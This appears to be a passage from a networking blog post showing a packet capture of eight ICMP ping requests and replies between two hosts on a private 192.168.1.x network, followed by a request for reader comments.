  1 15:30:45.478539 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4748/35858, ttl=128
  2 15:30:45.479407 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4748/35858, ttl=255
  3 15:30:46.479315 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4749/36114, ttl=128
  4 15:30:46.480274 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4749/36114, ttl=255
  5 15:30:47.480323 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4750/36370, ttl=128
  6 15:30:47.481215 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4750/36370, ttl=255
  7 15:30:48.481387 192.168.1.25 -> 192.168.1.1 ICMP 74 Echo (ping) request  id=0x0001, seq=4751/36626, ttl=128
  8 15:30:48.482277 192.168.1.1 -> 192.168.1.25 ICMP 74 Echo (ping) reply    id=0x0001, seq=4751/36626, ttl=255

As usual, if you find this useful or have any feedback (good or bad) please leave a comment!